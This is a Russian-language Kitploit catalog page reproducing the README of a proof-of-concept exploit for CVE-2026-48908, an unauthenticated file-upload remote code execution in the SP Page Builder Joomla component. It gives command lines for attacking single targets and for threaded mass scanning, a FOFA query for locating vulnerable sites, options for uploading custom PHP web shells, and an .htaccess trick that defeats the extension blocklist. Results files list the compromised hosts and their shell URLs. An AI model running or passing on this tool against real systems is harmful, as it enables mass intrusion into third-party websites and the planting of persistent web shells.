Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-48908 — Неаутентифицированный PoC для RCE CVE-2026-48908 — эксплойт произвольной загрузки файлов и удалённого выполнения кода в SP Page Builder (Joomla) с поддержкой массового сканирования. | Kitploit
Инструменты/GitHubGitHub/ayiezola/cve-2026-48908
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubayiezola/cve-2026-48908

CVE-2026-48908

Неаутентифицированный PoC для RCE CVE-2026-48908 — эксплойт произвольной загрузки файлов и удалённого выполнения кода в SP Page Builder (Joomla) с поддержкой массового сканирования.

Репозиторий
133 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-48908 — SP Page Builder Unauthenticated RCE

SP Page Builder (com_sppagebuilder) для Joomla ≤ 6.6.1 позволяет неаутентифицированным злоумышленникам загружать произвольные файлы и выполнять удаленный код (RCE).

ПолеЗначение
CVECVE-2026-48908
CWECWE-284 (Некорректный контроль доступа)
КомпонентSP Page Builder (com_sppagebuilder)
Затронутые версии1.0.0 – 6.6.1
Исправлено в6.6.2
Необходимые привилегииНет (без аутентификации)
Взаимодействие с пользователемНет

FOFA Запрос

body="com_sppagebuilder"

Использование

Требования

  • Python 3.8+
pip install -r requirements.txt

Одиночная цель

python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # только проверка, без команды
python3 exploit_poc.py https://target.example --token abc123   # пользовательский токен

Массовое сканирование

python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20 параллельных потоков
python3 exploit_poc.py --hosts ips.txt --no-verbose             # тихий режим

Пользовательский веб-шелл

python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

Примечание: При использовании --shell-file скрипт только загружает веб-шелл и сообщает URL. Он не выполняет команду -c и не проводит тест на выполнение. Загруженный шелл должен обрабатывать ввод команд самостоятельно.

Параметры

ФлагОписание
urlЦелевой URL (позиционный или через --url)
--hosts <файл>Файл с одной целью на строку
-c, --cmd <команда>Команда для выполнения (по умолчанию: id)
--checkТолько проверка, без выполнения команды
--token <токен>Секрет, защищающий загруженный шелл (по умолчанию: случайный)
--shell-file <путь>Загрузить пользовательский PHP-веб-шелл вместо встроенного
-j, --threads <n>Количество параллельных потоков для массового сканирования (по умолчанию: 10)
--no-verboseПодавить подробный вывод по каждой цели

Демонстрация

Одиночная цель

Массовое сканирование

Массовое сканирование 1

Массовое сканирование 2

Вывод

После сканирования сохраняются три файла с результатами:

ФайлСодержимое
vulnerable_hosts.txtЦели с подтвержденным RCE + URL веб-шеллов
not_vulnerable_hosts.txtЦели, которые обновлены или отсутствуют
partial_vulnerable_hosts.txtЦели с возможностью записи файлов, но без выполнения PHP
custom_shell_hosts.txtЦели с загруженным пользовательским шеллом, сгруппированные по базовому URL (создается только при использовании --shell-file)
scan_results.jsonПолные результаты в формате JSON для всех целей

Как это работает

Эксплойт использует задачу asset.uploadCustomIcon компонента com_sppagebuilder:

  1. Отправляется сформированный ZIP-архив (пакет иконок) без аутентификации — CSRF-токен не требуется.
  2. SPPB извлекает ZIP в /media/com_sppagebuilder/assets/iconfont/<имя>/fonts/.
  3. Загруженный PHP-файл становится публично доступен.

Скрипт перебирает несколько расширений PHP (.php, .PHP, .pHp, .Php, .pht, .phtml и т.д.), пока не найдет выполняемое.

Обход htaccess

Когда прямые PHP-расширения заблокированы фильтром SPPB, скрипт размещает файл .htaccess рядом с полезной нагрузкой:

AddType application/x-httpd-php .PHP

Это заставляет веб-сервер обрабатывать .PHP (в верхнем регистре) как PHP — обходя регистрозависимый блок-лист SPPB. Требует включенного AllowOverride и разрешения выполнения PHP в /media.

Примечание: Обход через .htaccess + .PHP в верхнем регистре может не работать на всех конфигурациях. Если это не удается, попробуйте использовать расширения .png или .jpeg. На серверах с отключенным AllowOverride или заблокированным выполнением PHP в /media даже загруженные шеллы не будут выполняться (сообщается как "только запись").

Модификации

Этот PoC основан на https://github.com/papageo75/CVE-2026-48908-PoC/ со следующими дополнениями:

1. Обработка не-JSON ответов

Некоторые ответы сервера могут содержать префиксы, не являющиеся JSON (например, cron-выражения или другой мусор) перед фактической JSON-нагрузкой. Исходный PoC аварийно завершался при вызове r.json() при разборе таких ответов. Эта версия ищет первый символ { и пытается декодировать подстроку JSON:

До:

try:
    data = r.json()
except ValueError:
    return None

После:

try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

Пример — валидный JSON-ответ:

{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "["ico ico-x"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

Пример — не-JSON ответ (мусор перед JSON):

cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. Поддержка массового сканирования

Добавлена возможность многопоточного массового сканирования:

  • --hosts <файл> — загрузка целей из файла (по одной на строку)
  • -j, --threads <n> — количество параллельных потоков (по умолчанию: 10)
  • --no-verbose — подавление подробного вывода по каждой цели
  • Результаты группируются и сохраняются в категоризированные .txt файлы

3. Загрузка пользовательского веб-шелла

Добавлена опция --shell-file <путь> для загрузки пользовательского PHP-веб-шелла вместо встроенного шелла с токеном. При использовании этой опции:

  • Скрипт загружает шелл без выполнения команд -c
  • Тест на выполнение (run()) не производится
  • Проверяются и сообщаются все рабочие расширения
  • Результаты сохраняются в custom_shell_hosts.txt

Отказ от ответственности

ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ИСПОЛЬЗОВАНИЯ. Только для санкционированных пентестов, CTF и лабораторных целей. Вы несете полную ответственность за использование этого инструмента.

Скачать инструмент